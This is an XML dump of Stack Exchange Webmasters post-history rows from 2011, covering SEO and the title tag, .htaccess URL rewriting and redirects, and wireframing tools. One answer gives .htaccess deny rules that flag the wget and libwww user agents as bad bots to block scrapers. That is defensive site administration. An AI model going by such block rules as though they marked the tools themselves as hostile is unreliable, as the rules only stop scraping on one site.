  <row Id="38467" PostHistoryTypeId="2" PostId="16174" RevisionGUID="a2067d4a-fbb2-45f2-8794-5e782be45fd8" CreationDate="2011-06-29T16:11:48.383" UserDisplayName="shanethehat" Text="From a user experience point of view I think supplying specific titles is better because it shows more specifically what the user is seeing.  This is also helpful to the user when bookmarking a page as a well formed title saves the user from having to amend the title of their bookmark.  Personally I prefer to use `site title - page title`. " />
  <row Id="38468" PostHistoryTypeId="2" PostId="16175" RevisionGUID="a3981c7d-62df-40b5-968b-e031412fbb7f" CreationDate="2011-06-29T16:13:28.207" UserId="8302" Text="Your `title` tag should be different on each page for at least two reasons:&#xD;&#xA;&#xD;&#xA;1. This is the text shown when you bookmark a page.  If it is all the same and the user bookmarks several pages, then they see the same text in each bookmark.&#xD;&#xA;2. Google uses the `title` to `know how the page is distinct from the others on your site.`  See Google's [Search Engine Optimization Starter Guide][1] (pdf). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="38469" PostHistoryTypeId="2" PostId="16176" RevisionGUID="446001c0-db80-4c87-8ac2-c71067f1186b" CreationDate="2011-06-29T16:13:50.010" UserDisplayName="PeeHaa" Text="I think it is mandatory to have a good title on every page.&#xD;&#xA;&#xD;&#xA;For both SEO and usability.&#xD;&#xA;&#xD;&#xA;SEO:&#xD;&#xA;&#xD;&#xA;I think search engines look at the title tag from left to right in importance.&#xD;&#xA;&#xD;&#xA;And they only take a couple of words in account.&#xD;&#xA;&#xD;&#xA;Not sure if this is still the case though&#xD;&#xA;&#xD;&#xA;Usabilty:&#xD;&#xA;&#xD;&#xA;It is nice to see what tabs you have opened in your browser.&#xD;&#xA;&#xD;&#xA;It is nice to see what bookmarks you have.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;&#xD;&#xA;In response to shanethehat:&#xD;&#xA;&#xD;&#xA;I would do it the other way around.&#xD;&#xA;&#xD;&#xA;`page title - site title`" />
  <row Id="38470" PostHistoryTypeId="2" PostId="16177" RevisionGUID="1cb57cb0-f9ba-4c22-ae23-7eedf68377ec" CreationDate="2011-06-29T16:14:56.973" UserDisplayName="BillThor" Text="Among other things, the title is used to set the title when users bookmark pages.  A clear title makes searching bookmarks much easier.  If the company name is in the title, it works better for me if it is a suffix rather than a prefix. (It may be useful to known the source, but knowing the content is more important.)   `Page title` is important, `site title` make be of interest.  My preference is `Page title`, but `Page title - Site title` as is used here works for me.&#xD;&#xA;&#xD;&#xA;From an SEO perspective, I believe keywords appearing in the title and content get rated higher. " />
  <row Id="38471" PostHistoryTypeId="2" PostId="16178" RevisionGUID="ffdffcf6-8acc-4589-846a-e3e4edb01a25" CreationDate="2011-06-29T16:16:30.870" UserDisplayName="Mrchief" Text="Many reasons:&#xD;&#xA;&#xD;&#xA; - SEO - crawlers look at title tag for various things&#xD;&#xA; - Accessible - Screen readers can read off it&#xD;&#xA; - Proper Bookmarking" />
  <row Id="38472" PostHistoryTypeId="2" PostId="16179" RevisionGUID="f86181b6-b67e-432b-b76e-b03b0dafd011" CreationDate="2011-06-29T16:21:06.797" UserId="1859" Text="`&lt;title&gt;` is, obviously, used for the title in the browser's title bar. This is also what is saved in the browser's history and bookmarks sections. As such, having distinct titles can have a significant impact on user experience.&#xD;&#xA;&#xD;&#xA;`&lt;title&gt;` also has semantic value for search engines. Well chosen titles can give a strong indication of the essential *about-ness* of a page (I'm ignoring attempts to game the SE here). Using good values for `&lt;title&gt;`, `&lt;h1&gt;`, etc. tags makes your site fundamentally more &quot;understandable&quot; to the search engine because they indicate *author intent* about what is important and what is less important.&#xD;&#xA;&#xD;&#xA;The [*Semantic Web*][1] that Tim Berners-Lee has been championing for quite some time is all about adding machine-understandable information to web pages, and this is the simplest form of that type of information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Semantic_Web" />
  <row Id="38473" PostHistoryTypeId="2" PostId="16180" RevisionGUID="539e0c69-2adf-4f44-ac72-c354a7084c51" CreationDate="2011-06-29T16:21:08.887" UserId="4038" Text="The `title` tag is not optional. A correct HTML document must have a title tag.&#xD;&#xA;&#xD;&#xA;The title tag has quite high significance for SEO. If it contains an short and descriptive title that reflects the content of the page, your pages will definitely rate better in search engines.&#xD;&#xA;&#xD;&#xA;Your page should ideally have one `h1` tag also, with a text similar to the title. That will help clarifying to the search engine what the page is about.&#xD;&#xA;&#xD;&#xA;You can alter the titles later, and search enginges will re-index your pages. It can however take days or weeks before they notice. Also, you will get a slightly better rating if your page has been up for a longer time, so it helps to fix those things early.&#xD;&#xA;" />
  <row Id="38474" PostHistoryTypeId="2" PostId="16181" RevisionGUID="56b32877-507d-43c4-9d1c-da6eed5becc5" CreationDate="2011-06-29T16:29:45.290" UserDisplayName="Niraj" Text="A title is one of most practical ways for a screen reader user to know which page they are on. Not having a title would cause major confusion for a screen reader user and it would be annoying if the screen reader kept repeating the entire URL. So, from an accessibility standpoint, the title should be in there.  " />
  <row Id="38475" PostHistoryTypeId="2" PostId="16173" RevisionGUID="a2ee0e24-9e75-4b6d-8607-93567f8a6851" CreationDate="2011-06-29T16:07:00.947" UserDisplayName="Matteo Mosca" Text="Talking with some other people recently, it came up an interesting topic. The core question at hand is:&#xD;&#xA;&#xD;&#xA;&gt; What's the real importance and weight of the `&lt;title&gt;` tag in a web site?&#xD;&#xA;&#xD;&#xA;For instance, what are the consequences if a site has the same `&lt;title&gt;` tag on all the pages, reporting only the site name? Or better (or worse) no title tag at all?&#xD;&#xA;&#xD;&#xA;Will that be a little/medium/huge SEO problem? How will the pages appear on search engines? Will fixing it in a later stage be problematic since pages have already been indexed? How does it compromise the overall usability/accessibility/experience? Is that a &quot;feature&quot; that can be omitted, or it can't even be considered a &quot;feature&quot; but a core element?&#xD;&#xA;&#xD;&#xA;I have quite my opinion on this topic, but I'd really love to hear what other experts (you) think about it." />
  <row Id="38476" PostHistoryTypeId="1" PostId="16173" RevisionGUID="a2ee0e24-9e75-4b6d-8607-93567f8a6851" CreationDate="2011-06-29T16:07:00.947" UserDisplayName="Matteo Mosca" Text="What's the importance of the &quot;title&quot; tag?" />
  <row Id="38477" PostHistoryTypeId="3" PostId="16173" RevisionGUID="a2ee0e24-9e75-4b6d-8607-93567f8a6851" CreationDate="2011-06-29T16:07:00.947" UserDisplayName="Matteo Mosca" Text="&lt;html&gt;&lt;seo&gt;&lt;accessibility&gt;" />
  <row Id="38478" PostHistoryTypeId="2" PostId="16182" RevisionGUID="4e486ba5-9ed9-4be7-97ca-21e579c37af1" CreationDate="2011-06-29T16:39:17.177" UserId="1253" Text="&gt;What are the consequences if a site has the same `&lt;title&gt;` tag on all the pages, reporting only the site name? &#xD;&#xA;&#xD;&#xA;You run the risk of having your pages flagged as duplicate content. The title of a web page is very important for SEO and if all of your pages have the same title you dramatically increase the chances they will be considered duplicate content. You would have to make sure your pages' content is very different prevent this from happening.&#xD;&#xA;&#xD;&#xA;&gt;Or better (or worse) no title tag at all?&#xD;&#xA;&#xD;&#xA;Worse. You definitely want a `&lt;title&gt;` for all of your pages. It's probably the biggest on-page ranking factor for SEO. When a user bookmark's your page it is the default text for that bookmark. It's what is shown in the title bar and/or tabs of your pages. Basically not having one is bad for SEO and usability.&#xD;&#xA;&#xD;&#xA;&gt;Will that be a little/medium/huge SEO problem? &#xD;&#xA;&#xD;&#xA;Yes!!!&#xD;&#xA;&#xD;&#xA;&gt;How will the pages appear on search engines? &#xD;&#xA;&#xD;&#xA;Hard to say as I have never seen an untitled page in the search results but that's probably because they all rank too poorly to be found. But I suspect Google would put either a snippet found on the page or something along those lines.&#xD;&#xA;&#xD;&#xA;&gt;Will fixing it in a later stage be problematic since pages have already been indexed? &#xD;&#xA;&#xD;&#xA;No. But it may not happen quickly. It could weeks or months for you to see the changes reflected in Google's search results. And all that time your rankings and click-thrus will suffer for it.&#xD;&#xA;&#xD;&#xA;&gt;How does it compromise the overall usability/accessibility/experience? &#xD;&#xA;&#xD;&#xA;No page title means it is more difficult for users to know what page they are on and what the main purpose of that page.&#xD;&#xA;&#xD;&#xA;&gt;Is that a &quot;feature&quot; that can be omitted, or it can't even be considered a &quot;feature&quot; but a core element?&#xD;&#xA;&#xD;&#xA;The `&lt;title&gt;` tag is a core element." />
  <row Id="38479" PostHistoryTypeId="17" PostId="16183" RevisionGUID="d9c34fa4-169f-4a8d-8704-d7ddd08b34c2" CreationDate="2011-06-29T16:44:30.800" UserId="-1" Comment="from http://stackoverflow.com/questions/6513596/apache-redirecting-reason-unknown" Text="" />
  <row Id="38480" PostHistoryTypeId="2" PostId="16184" RevisionGUID="9d6cedfa-1be8-4543-9d1a-7ec2d09b4f6d" CreationDate="2011-06-28T22:07:40.433" UserId="1426" Text="I would guess Hostgator are using the Apache module mod_security, which will block any request that looks like a hacking attempt. You'll either have to change your script so it doesn't pass a URL in the query string or contact them to see if they can tweak their setup." />
  <row Id="38481" PostHistoryTypeId="2" PostId="16183" RevisionGUID="eeac3253-c646-4980-abd4-b6cd9f6c70f5" CreationDate="2011-06-28T21:59:06.960" UserId="4033" Text="I have a simple php script. The script is not important. It just prints out `$_SERVER`.&#xD;&#xA; &#xD;&#xA;When I request an URL like `www.server.com/?ref=bar` everything is fine.&#xD;&#xA;&#xD;&#xA;However if the request contains something like `www.server.com/?ref=http://www.test.com` (`?ref=http%3A%2F%2Fwww.test.com`) the server redirects to *403.shtml*.&#xD;&#xA;&#xD;&#xA;No redirect for http://x&#xD;&#xA;but redirects http://x.y&#xD;&#xA;&#xD;&#xA;As far as I can understand somehow the server doesn't like &quot;http://x&quot;.  It always redirects to *403.shtml* when there is a valid query string in the form of a valid url.&#xD;&#xA;&#xD;&#xA;my .htacess file is the same both on my server and local test server and local test server behaves as expected (no redirects). So I don't it is related to .htaccess.&#xD;&#xA;&#xD;&#xA;I'm on shared host on Hostgator. Can anyone help? &#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Here's the .htaccess file&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;     &#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^(.*)$ index.php?$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;When there is an http://xx.x it redirects to 403 even if there is physical file. However if I remove the .htaccess redirect to 403 also disappears. But I need the above .htaccess file. Is there a way to get around this?" />
  <row Id="38482" PostHistoryTypeId="1" PostId="16183" RevisionGUID="eeac3253-c646-4980-abd4-b6cd9f6c70f5" CreationDate="2011-06-28T21:59:06.960" UserId="4033" Text="Apache redirecting: reason unknown" />
  <row Id="38483" PostHistoryTypeId="3" PostId="16183" RevisionGUID="eeac3253-c646-4980-abd4-b6cd9f6c70f5" CreationDate="2011-06-28T21:59:06.960" UserId="4033" Text="&lt;php&gt;&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="38484" PostHistoryTypeId="17" PostId="16184" RevisionGUID="c02c470d-f25f-4100-9cef-9e139ca484f3" CreationDate="2011-06-29T16:44:30.800" UserId="-1" Comment="from http://stackoverflow.com/questions/6513596/apache-redirecting-reason-unknown" Text="" />
  <row Id="38485" PostHistoryTypeId="2" PostId="16185" RevisionGUID="fc705045-cc0b-4fd4-973c-b6b3191cce50" CreationDate="2011-06-29T16:58:19.577" UserId="7617" Text="You may have a look at [dokuwiki][1]: It's opensource, flat-file (no database needed) and thus easy to backup and maintain. It has a rights management and plugins for additional features.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dokuwiki.org/dokuwiki" />
  <row Id="38486" PostHistoryTypeId="2" PostId="16186" RevisionGUID="b6dc5a61-bb5c-4c1b-9d4f-ed39bb2e0fc0" CreationDate="2011-06-29T17:36:36.243" UserId="8693" Text="Is there any kind of tool to sketch the layout of website roughly? For example just to draw a basic sketch of the design to show others? Thanks" />
  <row Id="38487" PostHistoryTypeId="1" PostId="16186" RevisionGUID="b6dc5a61-bb5c-4c1b-9d4f-ed39bb2e0fc0" CreationDate="2011-06-29T17:36:36.243" UserId="8693" Text="Any tool to sketch layout ?" />
  <row Id="38488" PostHistoryTypeId="3" PostId="16186" RevisionGUID="b6dc5a61-bb5c-4c1b-9d4f-ed39bb2e0fc0" CreationDate="2011-06-29T17:36:36.243" UserId="8693" Text="&lt;website-design&gt;" />
  <row Id="38489" PostHistoryTypeId="2" PostId="16187" RevisionGUID="29828615-c16d-4b89-8caf-413549efcbe1" CreationDate="2011-06-29T18:00:49.780" UserId="8511" Text="I have both the .com and the .org for a domain name, and using Apache I point them to the same site content. I think this might be causing problems with the Search Engines because of duplicate content. I want the .org to be the essential website. How do others handle this situation? Should I be using 301 redirects to point all the .com requests to the .org?" />
  <row Id="38490" PostHistoryTypeId="1" PostId="16187" RevisionGUID="29828615-c16d-4b89-8caf-413549efcbe1" CreationDate="2011-06-29T18:00:49.780" UserId="8511" Text="I have domain.com and domain.org to the same site, should I use redirects to avoid duplicate content" />
  <row Id="38491" PostHistoryTypeId="3" PostId="16187" RevisionGUID="29828615-c16d-4b89-8caf-413549efcbe1" CreationDate="2011-06-29T18:00:49.780" UserId="8511" Text="&lt;301-redirect&gt;&lt;duplicate-content&gt;" />
  <row Id="38492" PostHistoryTypeId="17" PostId="16188" RevisionGUID="7ef3a43b-6bdf-49ef-a4bf-0de0a6dd12cd" CreationDate="2011-06-29T18:12:40.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6524908/how-to-optimise-the-url-for-search-engines" Text="" />
  <row Id="38493" PostHistoryTypeId="17" PostId="16189" RevisionGUID="7a9836b4-ecd3-433b-bd60-542edf7d4f3a" CreationDate="2011-06-29T18:12:40.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6524908/how-to-optimise-the-url-for-search-engines" Text="" />
  <row Id="38494" PostHistoryTypeId="17" PostId="16190" RevisionGUID="851064d9-c26d-43ff-952f-8f0e1b769ba6" CreationDate="2011-06-29T18:12:40.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6524908/how-to-optimise-the-url-for-search-engines" Text="" />
  <row Id="38495" PostHistoryTypeId="2" PostId="16189" RevisionGUID="b6163399-bf47-4e9f-bb62-ca00bf7fcdf7" CreationDate="2011-06-29T17:42:07.697" UserDisplayName="Pheonix" Text="Look into htaccess URL rewrite for converting &#xD;&#xA;www.example.com/this-is-some-page TO index.php?content1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here&#xD;&#xA;http://corz.org/serv/tricks/htaccess2.php" />
  <row Id="38496" PostHistoryTypeId="2" PostId="16190" RevisionGUID="76531c64-2eb6-43c7-89c8-402176bfa539" CreationDate="2011-06-29T17:42:39.373" UserDisplayName="Pål Brattberg" Text="You probably should look into `mod_rewrite` which could help you out.&#xD;&#xA;&#xD;&#xA;[See this cheat sheet for some help][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addedbytes.com/cheat-sheets/mod_rewrite-cheat-sheet/" />
  <row Id="38497" PostHistoryTypeId="2" PostId="16188" RevisionGUID="d1d79d6c-197d-4e77-b0bf-d7585f24eb35" CreationDate="2011-06-29T17:39:01.683" UserDisplayName="phpheini" Text="I have a php template which has one `index.php` and all the different pages (`content1.html`, `content2.html` etc) are shown on the `index.php`page. So for example I can open `www.example.com/index.php?content1` and it will show the `content1.html`. Now what I would like is this: Often you see websites where the url is like: `www.example.com/this-is-the-content`&#xD;&#xA;I know how to do this with an exclamation mark like `www.example.com/?content1` &lt;-- here you just dont write the `index.php`. &#xD;&#xA;&#xD;&#xA;But how can I do an url name, which is completely different from the filename? For example `www.example.com/this-is-some-page` would show me the content of index.php?content1&#xD;&#xA;&#xD;&#xA; " />
  <row Id="38498" PostHistoryTypeId="1" PostId="16188" RevisionGUID="d1d79d6c-197d-4e77-b0bf-d7585f24eb35" CreationDate="2011-06-29T17:39:01.683" UserDisplayName="phpheini" Text="How to optimise the url for search engines?" />
  <row Id="38499" PostHistoryTypeId="3" PostId="16188" RevisionGUID="d1d79d6c-197d-4e77-b0bf-d7585f24eb35" CreationDate="2011-06-29T17:39:01.683" UserDisplayName="phpheini" Text="&lt;php&gt;&lt;url&gt;&lt;search-engines&gt;" />
  <row Id="38500" PostHistoryTypeId="2" PostId="16191" RevisionGUID="a230be4a-b661-45bd-8ac0-0cef72c3b0c8" CreationDate="2011-06-29T18:14:42.803" UserId="5015" Text=":)&#xD;&#xA;It's possibile to put Facebook events creaded by me on my facebook groups, on asp.net page create with c#? If possibile, what?" />
  <row Id="38501" PostHistoryTypeId="1" PostId="16191" RevisionGUID="a230be4a-b661-45bd-8ac0-0cef72c3b0c8" CreationDate="2011-06-29T18:14:42.803" UserId="5015" Text="Facebook Events on ASP.NET Page..." />
  <row Id="38502" PostHistoryTypeId="3" PostId="16191" RevisionGUID="a230be4a-b661-45bd-8ac0-0cef72c3b0c8" CreationDate="2011-06-29T18:14:42.803" UserId="5015" Text="&lt;facebook&gt;&lt;api&gt;&lt;c#&gt;" />
  <row Id="38503" PostHistoryTypeId="2" PostId="16192" RevisionGUID="eace42cf-8e1e-4638-a251-e2fcae7451e3" CreationDate="2011-06-29T18:15:37.377" UserId="8696" Text="refer to @Pål Brattberg's anwser for detailed description &#xD;&#xA;&#xD;&#xA;@phpheini You don't need to bind the .htaccess file to the database, suppose if you want the URL for your article like&#xD;&#xA;&#xD;&#xA;http://example.com/sports/45/world-cup-2011.html&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^([a-z]+)/([0-9]+)/(.*?).html$ /index.php?type=$1&amp;article_id=$2&#xD;&#xA;&#xD;&#xA;here $1 and $2 get the article type and article_id which can chang. index.php can output content based on the parameters. &#xD;&#xA;" />
  <row Id="38504" PostHistoryTypeId="5" PostId="16187" RevisionGUID="3391e76f-5319-4bbd-b85b-4d561e4314fb" CreationDate="2011-06-29T18:17:58.937" UserId="8511" Comment="added 88 characters in body" Text="I have both the .com and the .org for a domain name, and using Apache I point them to the same site content. I think this might be causing problems with the Search Engines because of duplicate content. I want the .org to be the essential website. How do others handle this situation?&#xD;&#xA;&#xD;&#xA;Should I be using 301 redirects to point all the .com requests to the .org?&#xD;&#xA;&#xD;&#xA;Should I just use the link rel=&quot;canonical&quot; on each page to point to the .org?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38505" PostHistoryTypeId="2" PostId="16193" RevisionGUID="c5c972f8-2990-4197-8343-ef4fe0f98e0e" CreationDate="2011-06-29T18:19:29.900" UserId="8697" Text="Yes, you should use a 301 permanent Redirect from .com to .org else google will mark one of the domain for duplicate content and that is not somwthing you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Create a .htaccess file with the below code, it will ensure that all requests coming in to domain.com will get redirected to www.domain.org&#xD;&#xA;The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    rewritecond %{http_host} ^domain.com [nc]&#xD;&#xA;    rewriterule ^(.*)$ http://www.domain.org/$1 [r=301,nc]&#xD;&#xA;&#xD;&#xA;Please REPLACE domain.com and www.newdomain.com with your actual domain name.&#xD;&#xA;&#xD;&#xA;Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope that helps." />
  <row Id="38506" PostHistoryTypeId="25" PostId="16173" RevisionGUID="14f0f9e4-7338-4344-94b9-49234812cbae" CreationDate="2011-06-29T18:26:04.710" Comment="http://twitter.com/#!/StackWebmasters/status/86138376511696897" />
  <row Id="38507" PostHistoryTypeId="2" PostId="16194" RevisionGUID="7e396786-9c02-4fb0-846d-52f1f1258c96" CreationDate="2011-06-29T18:35:40.127" UserId="205" Text="Despite how simple and effective [paper sketches][1] can be, [Balsamiq Mockups][2] has a great reputation for doing just what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geekchix.org/blog/2010/01/03/a-collection-of-printable-sketch-templates-and-sketch-books-for-wireframing/&#xD;&#xA;  [2]: http://balsamiq.com/products/mockups" />
  <row Id="38508" PostHistoryTypeId="17" PostId="16195" RevisionGUID="60f7304a-7180-4752-89c1-7a3025d98138" CreationDate="2011-06-29T18:52:35.870" UserId="-1" Comment="from http://stackoverflow.com/questions/6525094/wget-not-respecting-my-robots-txt-is-there-an-interceptor" Text="" />
  <row Id="38509" PostHistoryTypeId="2" PostId="16195" RevisionGUID="4e4a4853-f6ab-4126-a7d6-fd729c65be88" CreationDate="2011-06-29T17:55:40.427" UserDisplayName="Jane Wilkie" Text="I have a website where I post csv files as a free service. Recently I have noticed that wget and libwww have been scraping pretty hard and I was wondering how to circumvent that even if only a little.&#xD;&#xA;&#xD;&#xA;I have implemented a robots.txt policy. I posted it below..&#xD;&#xA;&#xD;&#xA;    User-agent: wget&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;    User-agent: libwww&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /  &#xD;&#xA;&#xD;&#xA;Issuing a wget from my totally independent ubuntu box shows that wget against my server just doesn't seem to work like so.... &#xD;&#xA;&#xD;&#xA;    http://myserver.com/file.csv&#xD;&#xA;&#xD;&#xA;Anyway I don't mind people just grabbing the info, I just want to implement some sort of flood control, like a wrapper or an interceptor.&#xD;&#xA;&#xD;&#xA;Does anyone have a thought about this or could point me in the direction of a resource. I realize that it might not even be possible. Just after some ideas.&#xD;&#xA;&#xD;&#xA;Janie" />
  <row Id="38510" PostHistoryTypeId="1" PostId="16195" RevisionGUID="4e4a4853-f6ab-4126-a7d6-fd729c65be88" CreationDate="2011-06-29T17:55:40.427" UserDisplayName="Jane Wilkie" Text="wget not respecting my robots.txt. Is there an interceptor?" />
  <row Id="38511" PostHistoryTypeId="3" PostId="16195" RevisionGUID="4e4a4853-f6ab-4126-a7d6-fd729c65be88" CreationDate="2011-06-29T17:55:40.427" UserDisplayName="Jane Wilkie" Text="&lt;robots.txt&gt;" />
  <row Id="38512" PostHistoryTypeId="2" PostId="16196" RevisionGUID="75ceb932-2b50-4523-b9ad-e83e5961944d" CreationDate="2011-06-29T18:58:14.317" UserId="4502" Text="&lt;a href=&quot;http://www.mockflow.com/&quot;&gt;MockFlow&lt;/a&gt; is a wireframing tool similar in function to Balsamiq from @dmsnell's answer, but without the literal &quot;sketch&quot; look, which not everyone is fond of." />
  <row Id="38513" PostHistoryTypeId="2" PostId="16197" RevisionGUID="11dcec1a-991d-4bf9-a280-a02e8b412acc" CreationDate="2011-06-29T19:01:10.783" UserId="1253" Text="It sounds like you are looking for wireframe software. Here's a list of some to check out:&#xD;&#xA;&#xD;&#xA; - [Lovely Charts][1] (free)&#xD;&#xA; - [Pencil Project][2] (free)&#xD;&#xA; - [Serena Prototype Composer][3] (free)&#xD;&#xA; - [MockFlow][4]&#xD;&#xA; - [Axure RP][5]&#xD;&#xA; - [Balsamiq][6]&#xD;&#xA; - [HotGloo][7]&#xD;&#xA; - [Mockingbird][8]&#xD;&#xA; - [ProtoShare][9]&#xD;&#xA; - [Gliffy][10]&#xD;&#xA; - [Justinmind Prototyper][11]&#xD;&#xA; - [JumpChart][12]&#xD;&#xA; - [Pidoco][13]&#xD;&#xA; - [iPlotz][14]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lovelycharts.com/&#xD;&#xA;  [2]: http://www.evolus.vn/Pencil/&#xD;&#xA;  [3]: http://www.serena.com/products/prototype-composer/index.html&#xD;&#xA;  [4]: http://www.mockflow.com/&#xD;&#xA;  [5]: http://www.axure.com/&#xD;&#xA;  [6]: http://www.balsamiq.com/products/mockups&#xD;&#xA;  [7]: http://www.hotgloo.com/&#xD;&#xA;  [8]: http://gomockingbird.com/&#xD;&#xA;  [9]: http://www.protoshare.com/&#xD;&#xA;  [10]: http://www.gliffy.com/&#xD;&#xA;  [11]: http://www.justinmind.com/&#xD;&#xA;  [12]: http://www.jumpchart.com/&#xD;&#xA;  [13]: https://pidoco.com/en&#xD;&#xA;  [14]: http://iplotz.com/" />
  <row Id="38514" PostHistoryTypeId="2" PostId="16198" RevisionGUID="d7b9bde0-0a11-4f55-be96-627cb8f85d87" CreationDate="2011-06-29T19:13:26.593" UserId="4451" Text="It just wasn't there.  I don't think a screen shot would have helped.  After another 45 min, From the dashboard, I had to click **settings**, Click **Email** under Services on the left, Click **Instructions on how to activate Email**, click **Change MX records**, Click **verify domain ownership**.&#xD;&#xA;&#xD;&#xA;What a ridiculous process. " />
  <row Id="38515" PostHistoryTypeId="2" PostId="16199" RevisionGUID="dd09cfe5-da66-4f70-9a16-9337d91c8bde" CreationDate="2011-06-29T19:34:31.097" UserId="8699" Text=".htaccess is definitely one route you could go for rewriting URL's. But, I think that the piece you're missing is the part where you should store your page's content in a database or store the file names and URL slugs of the pages in an array on index.php to pull from. This way you can have a different URL slug than the actual file name.&#xD;&#xA;&#xD;&#xA;For instance, if you use a rewrite rule in .htaccess that says all requests for the URL http://www.example.com/the-page-you-want need to display the content from content1.html, you will need to specify somewhere that 'the-page-you-want' refers to content1.html." />
  <row Id="38516" PostHistoryTypeId="6" PostId="16107" RevisionGUID="643005b9-0616-4f31-a07b-1fccf227961a" CreationDate="2011-06-29T19:59:07.353" UserId="7260" Comment="edited tags" Text="&lt;advertising&gt;&lt;legal&gt;&lt;terms-of-use&gt;" />
  <row Id="38524" PostHistoryTypeId="2" PostId="16202" RevisionGUID="a943cb00-e69b-4afe-ac97-b7a2bf279657" CreationDate="2011-06-29T20:16:23.933" UserId="1253" Text="If you decide you want to block wget and libwww you can either redirect them to a page telling them why you're blocking them with this code:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^wget [OR]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^libwww&#xD;&#xA;    RewriteRule ^(.*)$ http://www.example.com/blocked.html&#xD;&#xA;&#xD;&#xA;Or you can flat out reject their request with this code:&#xD;&#xA;&#xD;&#xA;    SetEnvIfNoCase user-agent  &quot;^wget &quot; bad_bot=1&#xD;&#xA;    SetEnvIfNoCase user-agent  &quot;^libwww&quot; bad_bot=1&#xD;&#xA;    &lt;FilesMatch &quot;(.*)&quot;&gt;&#xD;&#xA;      Order Allow,Deny&#xD;&#xA;      Allow from all&#xD;&#xA;      Deny from env=bad_bot&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;Just place either snippet in a .htaccess file in your root directory or the directory where the files they are downloading from are.&#xD;&#xA;&#xD;&#xA;I have used the second snippet to block bots from a site I had that was getting scraped a lot. I haven't used the first snippet but it looks like it should work well if you choose to go that route." />
  <row Id="38529" PostHistoryTypeId="2" PostId="16203" RevisionGUID="c7837fb6-4199-41cb-8560-e737cb518e85" CreationDate="2011-06-29T20:46:30.803" UserId="8705" Text="I'm a programmer, and have a solid understanding of XHTML, and back-end programming, but I have the design ability of a warthog (a particularly untalented warthog at that).&#xD;&#xA;&#xD;&#xA;Has anyone created some open source CSS that I can drop into some well-written XHTML that will make my site look reasonably decent, without a bunch of design work?" />
  <row Id="38530" PostHistoryTypeId="1" PostId="16203" RevisionGUID="c7837fb6-4199-41cb-8560-e737cb518e85" CreationDate="2011-06-29T20:46:30.803" UserId="8705" Text="Where can I find a simple open source css template?" />
  <row Id="38531" PostHistoryTypeId="3" PostId="16203" RevisionGUID="c7837fb6-4199-41cb-8560-e737cb518e85" CreationDate="2011-06-29T20:46:30.803" UserId="8705" Text="&lt;css&gt;" />
  <row Id="38532" PostHistoryTypeId="2" PostId="16204" RevisionGUID="c2ec3e29-1607-4b99-900b-5641bdf90fbb" CreationDate="2011-06-29T20:51:28.663" UserId="313" Text="I have a code snippet for an app that users are loading as a 3rd party script on their site.  The general sequence is as follows:&#xD;&#xA;&#xD;&#xA; 1. Site loads &quot;http://www.example.com/foo.js&quot;&#xD;&#xA; 2. foo.js does stuff&#xD;&#xA; 3. 1 to 2 seconds later, foo.js loads bar.js&#xD;&#xA;&#xD;&#xA;Now in a perfect world, I'd want to see matching counts for the calls to foo.js and bar.js.  However, bar.js loads only about 94% of the time.  I'm wondering how much of this discrepancy might be attributable to site abandonment given the fact that bar.js is delayed by 1 or 2 seconds.&#xD;&#xA;&#xD;&#xA;I posted here instead of StackOverflow since I _think_ it's more a question about what would be typical time on page when users abandon the page." />
  <row Id="38533" PostHistoryTypeId="1" PostId="16204" RevisionGUID="c2ec3e29-1607-4b99-900b-5641bdf90fbb" CreationDate="2011-06-29T20:51:28.663" UserId="313" Text="Abandoment to blame?" />
  <row Id="38534" PostHistoryTypeId="3" PostId="16204" RevisionGUID="c2ec3e29-1607-4b99-900b-5641bdf90fbb" CreationDate="2011-06-29T20:51:28.663" UserId="313" Text="&lt;web-development&gt;" />
  <row Id="38535" PostHistoryTypeId="2" PostId="16205" RevisionGUID="81ffa892-c9cc-4cb2-b917-dcd635024b28" CreationDate="2011-06-29T20:58:24.133" UserId="7160" Text="Some percentage of this is probably browsers that don't support javascript or just have javascript disabled.&#xD;&#xA;&#xD;&#xA;Web crawlers would never hit bar.js for instance... (although most of them would probably have also skipped foo.js too...)" />
